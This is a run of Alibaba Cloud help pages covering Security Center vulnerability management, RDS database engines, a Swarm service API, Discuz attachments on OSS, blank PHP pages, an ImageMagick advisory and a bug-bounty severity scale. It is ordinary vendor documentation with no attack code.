      4. 应用漏洞页面,查看云安全中心检测到的所有应用漏洞,查看漏洞修复建议、严重程度和状态及处理漏洞。

        应用漏洞

        • 查看漏洞的修复紧急度建议

          漏洞的建议修复紧急度用不同颜色的图标表示,图标中的数字表示对应紧急度的待处理漏洞个数。

          • 红色图标:表示漏洞修复紧急程度为
          • 橙色图标:表示漏洞修复紧急程度为
          • 灰色图标:表示漏洞修复紧急程度为

          说明 建议立即修复高危(紧急程度为)漏洞。

        • 查看漏洞详细状态
          • 已处理
            • 修复成功:该应用漏洞已成功修复。
            • 已忽略:漏洞已执行忽略的操作,云安全中心将不再对该漏洞进行告警。
          • 未处理:未修复,即漏洞待修复。
        • 搜索漏洞

          您可在应用漏洞页面通过筛选漏洞危险等级(高、中、低)、漏洞处理状态(已处理、未处理)、搜索漏洞名称或输入服务器IP、名称定位到相关的漏洞。搜索漏洞

        • 查看漏洞详情

          应用漏洞页面,单击漏洞列表中漏洞名称列的目标漏洞名称,打开该漏洞详情页面。

          您可在漏洞详情页面,查看该漏洞的受影响资产信息、漏洞证明、安全建议等信息,并可执行忽略漏洞、将漏洞加入白名单、验证漏洞等操作。漏洞详情

          应用漏洞页面,单击漏洞列表中影响资产列的目标资产名称,可定位到资产中心 > 漏洞信息 > 应用漏洞页面,了解该资产中检测到的应用漏洞信息。

        • 处理漏洞
          • 修复漏洞

            您可在漏洞详情页面,查看漏洞安全建议,对漏洞进行相应的修复操作。安全建议

          • 验证漏洞
            • 您可在指定漏洞的详情页面下方,单击验证,检测该漏洞是否已修复成功。

              说明 对漏洞进行验证后,漏洞的状态转为验证中。需要等待数秒后漏洞验证才可完成。

            • 您也可在应用漏洞页面,批量验证漏洞,检测漏洞是否已修复成功。验证漏洞
          • 忽略漏洞
            • 您可在指定漏洞的详情页面下方,单击忽略,云安全中心将不再提示该漏洞。
            • 您也可在应用漏洞页面,批量忽略漏洞,云安全中心将不再提示忽略的漏洞。
            忽略漏洞

            说明忽略漏洞的状态将转为已忽略。如需云安全中心继续对该漏洞进行告警提示,可在已处理的漏洞列表中找到该漏洞并对其取消忽略

          • 将漏洞加入白名单
            • 您可在指定漏洞的详情页面下方,单击加白名单,将该漏洞加入白名单中。
            • 您也可在应用漏洞页面,将单个或批量多个漏洞加入白名单。
            漏洞加白名单

            对于加入白名单的应用漏洞,云安全中心将不再对白名单中的应用漏洞进行告警。

            加入白名单的漏洞将从漏洞列表中移除,并记录在漏洞管理设置页面的漏洞白名单配置列表中。

            如需恢复云安全中心对白名单中漏洞的检测和告警提示,可在漏洞管理设置页面移除该漏洞。

        • 导出漏洞

          您可在应用漏洞页面,单击导出按钮,将云安全中心检测到的所有应用漏洞统一导出并保存到本地。导出的文件为Excel格式。

          说明 根据您资产中漏洞数据的大小,导出漏洞列表可能需要耗费一定时间,请耐心等待。

      支持检测的应用漏洞类型

      应用漏洞类型 检测项
      系统服务弱口令 OpenSSH服务
      MySQL数据库服务
      MSSQL数据库服务
      MongoDB数据库服务
      FTP、VSFTP、ProFTPD服务
      Memcache缓存服务
      Redis缓存服务
      Subversion版本控制服务
      SMB文件共享服务
      SMTP邮件发送服务
      POP3邮件接收服务
      IMAP邮件管理服务
      系统服务漏洞 OpenSSL心脏滴血
      SMB
      • Samba
      • 弱口令暴力破解
      RSYNC
      • 匿名访问导致敏感文件信息
      • 认证密码暴力破解
      VNC密码暴力破解
      pcAnywhere密码暴力破解
      Redis密码暴力破解
      应用服务漏洞 phpMyAdmin弱口令检测
      Tomcat控制台弱密码检测
      Apache Struts 2远程命令执行漏洞
      Apache Struts 2远程命令执行漏洞(S2-046)
      Apache Struts 2远程命令执行漏洞(S2-057)
      ActiveMQ CVE-2016-3088任意文件上传漏洞
      Confluence任意文件读取漏洞
      CouchDB Query Server远程命令执行
      Discuz!后台管理员弱口令破解
      Docker未授权访问漏洞
      Drupal Drupalgeddon 2远程代码执行CVE-2018-7600
      ECshop登录接口代码执行漏洞
      Elasticsearch未授权访问
      Elasticsearch MvelRCE CVE-2014-31
      Elasticsearch Groovy RCE CVE-2015-1427
      泛微OA表达式注入
      Hadoop YARN ResourceManager未授权访问
      JavaServer Faces 2目录遍历漏洞
      JBoss EJBInvokerServlet Java反序列化漏洞
      Jenkins Manage匿名访问CVE-2018-1999001、CVE-2018-1999002
      Jenkins未授权访问
      Jenkins Script Security Plugin RCE
      Kurbernetes未授权访问漏洞
      MetInfo getPassword接口存在SQL注入漏洞
      MetInfo login接口存在SQL注入漏洞
      PHPCMS 9.6任意文件上传漏洞
      PHP-CGI远程代码执行
      Actuator unauth RCE
      ThinkPHP_RCE_20190111
      WebLogic UDDI Explorer SSRF漏洞
      WordPress xmlrpc.php存在SSRF漏洞
      Zabbix Web控制台暴力破解
      OpenSSL心脏滴血检测
      Apache Tomcat WEB-INF配置文件未授权访问

      上一篇:Web-CMS漏洞

      下一篇:应急漏洞

      相关文档

      相关产品

      • 云安全中心

        云安全中心是阿里云云上安全监控和诊断服务,面向云上资产提供安全事件检测、漏洞扫描、基线配置核查等服务。云安全中心结合了阿里自主研发的大数据和机器学习算法,通过多引擎查杀帮助您实时全面了解和有效处理服务器的安全隐患,并实现对云上资产的集中安全管理。 云安全中心帮助您收集并呈现10余种类型的日志和云上资产指纹,并结合网络实体威胁情报进行安全态势分析,扩大安全可见性。

      • 安骑士

        安骑士是一款经受百万级主机稳定性考验的主机安全加固产品,拥有自动化实时入侵威胁检测、病毒查杀、漏洞智能修复、基线一键核查等功能,是构建主机安全防线的统一管理平台。

      • 云服务器 ECS

        云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]> 镜像服务条款_相关协议_轻量应用服务器-阿里云 Fri, 02 May 2025 09:39:04 +0800 镜像服务条款

      更新时间:2017-10-26 21:36:51

      本页目录

      如您购买了相应的镜像,如下对应的镜像服务协议对您与镜像服务商具有约束力,如未购该镜像,对应的镜像服务协议则不生效。

      WordPress 博客系统最终用户使用协议

      PHPWind 论坛系统最终用户使用协议

      Nodejs 运行环境最终用户使用协议

      ECshop 镜像最终用户使用协议

      Drupal 8 最终用户使用协议

      LAMP 运行环境 最终用户使用协议

      Windows2008 中文版 ASP/ASP.NET运行环境 最终用户使用协议

      宝塔Linux面板(LAMP/LNMP/Tomcat/Node.js) 最终用户使用协议

      上一篇:网络安全

      下一篇:阿里云轻量应用服务器服务协议

      相关文档

      相关产品

      • 轻量应用服务器

        轻量应用服务器是面向单机应用场景的新一代计算服务,提供精品应用一键部署,支持一站式的域名、网站、安全、运维、应用管理等服务,极大优化搭建简单应用的体验,降低了入门级用户使用云计算产品的门槛。

      • 云服务器 ECS

        云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

      • 云虚拟主机

        阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      快速入门_云数据库 RDS 简介_云数据库 RDS-阿里云 Fri, 02 May 2025 09:39:04 +0800 快速入门

      更新时间:2020-05-06 17:11:28

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      如果您初次使用阿里云关系型数据库RDS,请参见快速入门系列文档,帮助您快速上手RDS。

      数据库引擎

      以下是对五种数据库引擎的介绍:

      • 云数据库RDS MySQL

        MySQL是全球最受欢迎的开源数据库,作为开源软件组合LAMP(Linux + Apache + MySQL + Perl/PHP/Python)中的重要一环,广泛应用于各类应用。

        Web 2.0时代,风靡全网的社区论坛软件系统Discuz!和博客平台WordPress均基于MySQL实现底层架构。Web 3.0时代,阿里巴巴、Facebook、Google等大型互联网公司都采用更为灵活的MySQL构建了成熟的大规模数据库集群。

        阿里云数据库RDS MySQL基于阿里巴巴的MySQL源码分支,经过双11高并发、大数据量的考验,拥有优良的性能和吞吐量。此外,阿里云数据库MySQL版还拥有经过优化的读写分离数据库独享代理智能调优等高级功能。

        当前RDS MySQL支持5.5、5.6、5.7和8.0版本。

      • 云数据库RDS SQL Server

        SQL Server是发行最早的商用数据库产品之一,作为Windows平台(IIS + .NET + SQL Server)中的重要一环,支撑着大量的企业应用。SQL Server自带的Management Studio管理软件内置了大量图形工具和丰富的脚本编辑器。您通过可视化界面即可快速上手各种数据库操作。

        阿里云数据库RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,您无需再额外支出License费用。

        当前RDS SQL Server支持以下版本:

        • SQL Server 2008 R2 企业版
        • SQL Server 2012 Web版、标准版、企业版
        • SQL Server 2016 Web版、标准版、企业版
        • SQL Server 2017 标准版、集群版
      • 云数据库RDS PostgreSQL

        PostgreSQL是全球最先进的开源数据库。作为学院派关系型数据库管理系统的鼻祖,它的优点主要集中在对SQL规范的完整实现以及丰富多样的数据类型支持,包括JSON数据、IP数据和几何数据等,而大部分商业数据库都不支持这些数据类型。

        除了完美支持事务、子查询、多版本控制(MVCC)、数据完整性检查等特性外,阿里云数据库RDS PostgreSQL还集成了高可用和备份恢复等重要功能,减轻您的运维压力。

        当前RDS PostgreSQL支持9.4、10、11和12版本。

      • 云数据库RDS PPAS

        PPAS(Postgres Plus Advanced Server)是稳定、安全且可扩展的企业级关系型数据库,基于PostgreSQL,并在性能、应用方案和兼容性等方面进行了增强,提供直接运行Oracle应用的能力。您可以在PPAS上稳定运行各种企业应用,同时得到高性价比的服务。

        阿里云数据库RDS PPAS集成了账号管理、资源监控、备份恢复和安全控制等功能,并将持续地更新完善。

        当前RDS PPAS支持9.3和10版本。

      • 云数据库RDS MariaDB TX

        MariaDB是MySQL的一个分支,主要由开源社区维护,采用GPL授权许可。MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。在存储引擎方面,MariaDB 10.0.9版起使用XtraDB(代号为Aria)来代替MySQL的InnoDB。

        阿里云引入的MariaDB TX企业级解决方案,良好兼容Oracle,对PL/SQL有优秀的兼容性。MariaDB TX是一个建立在 MariaDB Server、MariaDB MaxScale和MariaDB Cluster之上的事务性数据库平台,包括数据库连接器和管理工具,提供技术支持以及专家服务——创建了完整的企业数据库解决方案。

        当前RDS MariaDB TX支持10.3版本。

      上一篇:Q&A

      下一篇:异地容灾

      相关文档

      相关产品

      • 云数据库 RDS

        阿里云关系型数据库(Relational Database Service,简称RDS)是一种稳定可靠、可弹性伸缩的在线数据库服务。基于阿里云分布式文件系统和SSD盘高性能存储,RDS支持MySQL、SQL Server、PostgreSQL、PPAS(Postgre Plus Advanced Server,高度兼容Oracle数据库)和MariaDB引擎,并且提供了容灾、备份、恢复、监控、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。

      • 数据传输服务 DTS

        数据传输(Data Transmission)是阿里云提供的一种支持RDBMS(关系型数据库)、NoSQL、OLAP等多种数据源之间数据交互的数据服务。它提供了数据迁移、实时数据订阅及数据实时同步等多种数据传输能力。通过数据传输可实现不停服数据迁移、数据异地灾备、跨境数据同步、缓存更新策略等多种业务应用场景,助您构建安全、可扩展、高可用的数据架构。

      • 云服务器 ECS

        云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      查看服务实例_应用API列表_Swarm API参考_开发指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 查看服务实例

      更新时间:2019-01-23 00:08:09

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      根据服务实例 ID 查看详细信息。

      请求信息

      请求行 RequestLine

      GET /services/{service_id} HTTP/1.1

      请求行参数 URI Param

      名称 类型 是否必须 描述
      service_id string 服务实例 ID, 格式为 {project_name}_{service_name}

      特有请求头 RequestHead

      请求体 RequestBody

      返回信息

      返回行 ResponseLine

      HTTP/1.1 200 OK

      特有返回头 ResponseHead

      返回体 ResponseBody

      {
          "id": "string",
          "name": "string",
          "project": "string",
          "description": "string",
          "created": "datetime",
          "updated": "datetime",
          "desired_state": "string",
          "current_state": "string",
          "definition": {
             "key": "value",
             ...
          },
          "extensions": {
             "key": "value",
             ...
          },
          "containers": {
             "key": "value",
             ...
          }
      }

      返回体解释

      服务实例的格式

      名称 类型 描述
      id string 服务 ID
      name string 服务名称
      project string 应用名称
      created datetime 服务创建时间
      updated datetime 服务更新时间
      desired_state string 期望状态 (如果当前状态是中间状态时,期望状态指明变迁终态)
      current_state string 当前状态
      definition map Compose 中服务定义 key/value
      extensions map 容器服务 Compose 中服务扩展 key/value
      containers map 服务中所包含容器 key (容器 ID)/value(属性)

      示例

      请求示例

      GET /services/wordpress_db HTTP/1.1

      返回示例

      HTTP/1.1 200 Ok
      Content-Type:application/json;charset=UTF-8
      {
        "id": "wordpress_db",
        "name": "db",
        "project": "wordpress",
        "definition": {
          "environment": [
            "MYSQL_ROOT_PASSWORD=password"
          ],
          "image": "mysql:5.7",
          "restart": "always"
        },
        "extensions": {
          "scale": 1,
          "logs": [
            "/var/log/mysql"
          ]
        },
        "created": "2016-04-21T13:36:32.440646459Z",
        "updated": "2016-04-21T13:36:33.270308958Z",
        "desired_state": "running",
        "current_state": "running",
        "containers": {
          "5616f05d27516b3502a391fd2ca9d312cabffa5ad431bf261ea81f4ceabd476e": {
            "name": "/wordpress_db_1",
            "node": "10.246.2.3",
            "ip": "10.0.0.2",
            "running": true,
            "status": "running",
            "health": "success"
          }
        }
      }

      上一篇:查看服务实例列表

      下一篇:删除数据卷

      相关文档

      相关产品

      • 容器服务(已停止服务)

        容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

      • 容器服务Kubernetes版

        容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

      • 容器镜像服务

        容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      Discuz如何存储远程附件到OSS_ossftp_常用工具_对象存储 OSS-阿里云 Fri, 02 May 2025 09:39:04 +0800 Discuz如何存储远程附件到OSS

      更新时间:2019-09-19 14:48:25

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍如何基于Discuz论坛存储远程附件。

      前提条件

      • 已开通OSS服务,并创建了一个公共读权限的存储空间(Bucket)。
      • 已搭建Discuz论坛。

      背景信息

      网站远程附件功能是指将用户上传的附件直接存储到远端的存储服务器,一般是通过FTP的方式存储到远程的FTP服务器。目前Discuz论坛、phpwind论坛、Wordpress个人网站等都支持远程附件功能。

      本文档测试所用Discuz版本为Discuz! X3.1。

      配置步骤

      1. 使用管理员账号登录Discuz站点。
      2. 在管理界面单击全局 > 上传设置

      3. 单击远程附件,设置远程附件选项。


        配置项 说明
        启用远程附件 选择
        启用SSL连接 选择
        FTP服务器地址 即运行ossftp工具的地址,通常填写127.0.0.1即可。
        FTP服务器端口 默认为2048。
        FTP帐号 格式为AccessKeyID/BukcetName。注意这里的正斜线(/)不是或的意思。
        FTP密码 即AccessKeySecret。
        被动模式连接 选择
        远程附件目录 填半角句号(.)即可,表示在Bucket的根目录下创建上传目录。
        远程访问URL 填写Bucket的外网访问域名,格式为http://BucketName.Endpoint。测试所用Bucket名为test-hz-jh-002,属于杭州地域。所以这里填写的是http://test-hz-jh-002.oss-cn-hangzhou.aliyuncs.com。关于访问域名的详情请参见OSS访问域名使用规则
        超时时间 设置为0,表示服务器默认。

      4. 完成设置后,可以单击测试远程附件确认配置是否正常。

      5. 发帖验证配置是否成功。
        1. 发贴时上传图片附件。

        2. 在图片上右键单击,之后单击在新标签页中打开链接

          通过图中的URL,可以判断图片已经上传到OSS的test-hz-jh-002 Bucket。

      上一篇:如何快速安装ossftp

      下一篇:Phpwind如何存储远程附件到OSS

      相关文档

      相关产品

      • 对象存储 OSS

        阿里云对象存储服务(Object Storage Service,简称 OSS),是阿里云提供的海量、安全、低成本、高可靠的云存储服务。您可以通过调用 API,在任何应用、任何时间、任何地点上传和下载数据,也可以通过 Web 控制台对数据进行简单的管理。OSS 适合存放任意类型的文件,适合各种网站、开发企业及开发者使用。按实际容量付费真正使您专注于核心业务。

      • 媒体处理

        媒体处理(ApsaraVideo for Media Processing,原MTS)是一种多媒体数据处理服务。它以经济、弹性和高可扩展的音视频转换方法,将多媒体数据转码成适合在全平台播放的格式。并基于海量数据深度学习,对音视频的内容、文字、语音、场景多模态分析,实现智能审核、内容理解、智能编辑。

      • 访问控制

        访问控制(Resource Access Management,RAM)是阿里云提供的一项管理用户身份与资源访问权限的服务。使用RAM,您可以创建、管理RAM用户(例如员工、系统或应用程序),并可以控制这些RAM用户对资源的操作权限。当您的企业存在多用户协同操作资源时,使用RAM可以让您避免与其他用户共享云账号密钥,按需为用户分配最小权限,从而降低企业信息安全风险。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      访问PHP网站为空白页面_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 访问PHP网站为空白页面

      更新时间:2020-03-10 13:50:59

      本页目录

      免责声明: 本文档可能包含第三方产品信息,该信息仅供参考。阿里云对第三方产品的性能、可靠性以及操作可能带来的潜在影响,不做任何暗示或其他形式的承诺。

       

      问题描述

      访问云虚拟主机的PHP网站时,页面是空白的。

       

      问题原因

       

      解决方案

      阿里云提醒您:

      • 如果您对实例或数据有修改、变更等风险操作,务必注意实例的容灾、容错能力,确保数据安全。
      • 如果您对实例(包括但不限于ECS、RDS)等进行配置与数据修改,建议提前创建快照或开启RDS日志备份等功能。
      • 如果您在阿里云平台授权或者提交过登录账号、密码等安全信息,建议您及时修改。

       

      请参考如下步骤,解决该问题。

      提示

      • 修改文件时,请先备份文件,避免修改错误而导致无法恢复。
      • 修改数据库信息时,请务必使用专用的文本编辑器,例如Notepad++、EditPlus等。如果使用记事本会出现编码问题导致的错误。

       

      数据库配置信息不正确导致

      检查数据库配置文件,查看数据库信息是否有误,如果信息有误,修改正确即可。常见的开源程序及数据库配置文件如下所示。

      Wordpress:   wp-config.php
      Discuz:    config/config_global.php
              config/config_ucenter.php
      Dede(织梦):data/common.inc.php
      Thinkphp:   common/convention.php
      Ecshop:     data/config.php

       

      程序错误

      可以通过显示空白的页面最头部添加error_reporting(E_ALL),然后访问页面,即可看到错误提示,根据提示调试程序即可,示例代码如下所示。

      <?php
      error_reporting(E_ALL);
      ?>

       

      缓存问题

      • 部分程序在缓存文件过大时会导致网站空白,出现这种问题时,一般网站后台还是可以访问,登录后台清空程序缓存即可。
      • 部分网站程序会生成一个静态页面,而生成的时候因为种种原因,生成的首页文件index.html大小是0kb,没有内容,造成访问空白。一般删除生成的index.html文件后,再访问网站重新生成一次即可。

       

      适用于

      • 云虚拟主机

       

      如果您的问题仍未解决,您可以在阿里云社区免费咨询,或提交工单联系阿里云技术支持。

      上一篇:织梦程序后台验证码不显示

      下一篇:访问云虚拟主机网站时出现“温馨提示:该网站暂时无法访问”报错

      相关文档

      相关产品

      • 云虚拟主机

        阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

      • 云解析 DNS

        云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

      • 云服务器 ECS

        云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      【漏洞公告】CVE-2016-3714:ImageMagick远程代码执行漏洞_应用软件安全漏洞_安全漏洞预警_安全公告和技术-阿里云 Fri, 02 May 2025 09:39:04 +0800 【漏洞公告】CVE-2016-3714:ImageMagick远程代码执行漏洞

      更新时间:2018-03-08 15:32:33

      本页目录

      漏洞描述

      ImageMagick是一款广泛应用的图像处理软件。近日,该软件被爆出存在远程代码执行漏洞,编号为CVE-2016–3714。

      此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。由于ImageMagick应用十分广泛,目前已确定Wordpress等知名应用受此漏洞影响。

      影响范围

      ImageMagick <= 6.9.3-9

      漏洞修复

      • 使用云盾Web应用防火墙拦截此漏洞的攻击代码。

      • 在官网下载最新的安装包并在本地安装。

      注意:建议您在修复前创建服务器快照,以免修复失败造成损失。

      上一篇:【漏洞公告】CVE-2016-2107:OpenSSL AES-NI CBC 中间人劫持漏洞

      下一篇:【漏洞公告】CVE-2016-1897,CVE-2016-1898:FFmpeg 2.x 远程文件读取漏洞

      相关文档

      以上内容是否对您有帮助?

      在文档使用中是否遇到以下问题

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      • 内容错误

      • 更新不及时

      • 链接错误

      • 缺少代码/图片示例

      • 太简单/步骤待完善

      • 其他

      更多建议

      匿名提交

      感谢您的打分,是否有意见建议想告诉我们?

      感谢您的反馈,反馈我们已经收到

      文档反馈

      ]]>
      附件二:众测漏洞定级标准(先知安全情报)_相关协议_先知(安全众测)-阿里云 Fri, 02 May 2025 09:39:04 +0800 附件二:众测漏洞定级标准(先知安全情报)

      更新时间:2020-04-16 18:06:46

      本页目录

      通用奖励计划

      企业可设置严重、高危、中危、低危漏洞的奖励金额,以吸引更多的白帽子发现漏洞,以下标准都是参考标准。平台奖励积分是白帽子虚拟荣誉值,积分越高的白帽子代表对平台贡献越大。

      漏洞等级 建议奖励金额/单个漏洞(税前) 平台奖励积分
      严重 8000-10000元 120分
      高危 2500-5000元 60分
      中危 500-1500元 20分
      低危 50-200元 10分

      漏洞等级

      根据漏洞的危害程度将漏洞等级分为严重、高危、中危、低危。由先知平台结合利用场景中漏洞的严重程度、利用难度等综合因素给予相应分值的贡献值和漏洞级别。以下是每种等级包含的评分标准及漏洞类型。

      严重漏洞

      严重漏洞是指,发生在核心系统业务系统(核心控制系统、域控、业务分发系统、堡垒机等可管理大量系统的管控系统),可造成大面积影响的,获取大量(依据实际情况酌情限定)业务系统控制权限,获取核心系统管理人员权限并且可控制核心系统。

      包括但不限于:

      • 控制内网多台机器。
      • 核心后台超级管理员权限获取且造成大范围企业核心数据泄露,可造成巨大影响。

      高危漏洞

      • 获得系统的权限(getshell、命令执行等)。
      • 系统的SQL注入(后台漏洞降级,打包提交酌情提升)。
      • 敏感信息越权访问。包括但不限于绕过认证直接访问管理后台进行敏感操作、重要后台弱密码、获取大量内网敏感信息的SSRF等。
      • 读取任意文件。
      • 涉及金钱的交易、绕过支付逻辑(需最终利用成功,优惠券相关问题除外)。
      • 严重的逻辑设计缺陷和流程缺陷。包括但不限于任意用户登录漏洞、批量修改任意账号密码漏洞、涉及企业核心业务的逻辑漏洞等。验证码爆破除外。
      • 大范围影响用户的其他漏洞。包括但不仅限于重要页面可自动传播的存储型XSS、可获取管理员认证信息且成功利用的存储型XSS等。

      中危漏洞

      • 需交互方可影响用户的漏洞。包括但不仅限于存储型XSS、涉及核心业务的CSRF等。
      • 平行越权操作。包括但不限于绕过限制修改用户资料、执行用户操作等。
      • 由验证码逻辑导致任意账户登录、任意密码找回等系统敏感操作可被爆破成功造成的漏洞。
      • 本地保存的敏感认证密钥信息泄露,需能做出有效利用。
      • 四位验证码爆破重置密码或者登录账号。
      • 心脏滴血漏洞。
      • XML注入。
      • 普通的后台或者边缘系统的后台。
      • 任意文件上传(例如上传html导致可利用成功的存储XSS,其他情况除外)。

      低危漏洞

      • 普通信息泄露(纯静态文件泄露不收取,例如JS、CSS等)。
      • 反射型XSS(包括DOM XSS / Flash XSS)。
      • 普通的垂直越权。
      • 普通CSRF。
      • URL跳转漏洞。
      • 一些影响有限的越权(不涉及敏感信息,例如修改个人描述等)。
      • 短信炸弹。
      • 无回显的且没有深入利用成功的SSRF。
      • 无法利用的GITHUB信息泄露(无敏感信息的泄露可能会不收取)。

      暂不收取的漏洞类型

      • SPF邮件伪造漏洞。
      • 接口穷举爆破已注册用户名类漏洞。
      • self-xss/post型反射XSS。
      • 邮件炸弹。
      • 非敏感操作的CSRF问题。
      • 单独的安卓APP android:allowBackup=”true” 问题,本地拒绝服务问题等(深入利用的除外)。
      • 修改图片size造成的请求缓慢等问题。
      • Nginx、Tomcat等版本泄露的问题。
      • 一些功能BUG,无法造成安全风险的问题。
      • 其他危害较低、不能证明危害的漏洞。(如无法获取到敏感信息的CORS漏洞)。

      漏洞提交规范

      • 漏洞请求包或url(文字,非截图)或操作步骤(例如:设置->个人信息设置->图像上传处存在问题)。
      • 漏洞payload。
      • 漏洞危害证明(根据危害进行评级)。
      • APP需要备注测试的版本信息。

      评分标准通用原则

      • 该标准仅适用于入驻先知平台的企业,并且只针对企业已明确说明接收漏洞的产品及业务。企业已明确说明不接收的漏洞将做驳回处理。企业已明确说明的漏洞等级调整将以企业为准。企业边缘业务将根据其重要程度适当调低漏洞等级。

      • 各等级漏洞的最终贡献值数量由漏洞利用难度及影响范围等综合因素决定,若漏洞触发条件非常苛刻,包括但不限于特定浏览器才可触发的XSS漏洞,则可跨等级调整贡献值数量。

      • 同一个漏洞源产生的多个漏洞计漏洞数量为一。例如同一个接口引起的多个安全漏洞、同一个发布系统引起的多个页面的安全漏洞、框架导致的整站的安全漏洞、泛域名解析产生的多个安全漏洞;因为厂商未做身份校验导致的同一系统多个接口越权或者是未做token校验导致的多个CSRF漏洞;同一文件的不同参数、同一参数出现在不同文件、同一文件在不同目录等。

      • 第三方产品的漏洞只给第一个提交者计贡献值,等级不高于中,包括但不限于企业所使用的WordPress、Flash插件以及Apache等服务端相关组件、OpenSSL、第三方SDK等;不同版本的同一处漏洞视为相同漏洞。

      • 通常,同一漏洞,首位报告者给予奖励,其他报告者均不计;同一漏洞,后提交的利用方式比第一个提交的利用造成的影响差距过大时,两个漏洞都通过,从第二个漏洞中分一部分奖金费第一个提交的同学。

      • 不可公开已提交的漏洞细节,违者取消测试资格或封停账号。

      • 报告网上已公开的漏洞不给予奖励。

      • 漏洞打包。

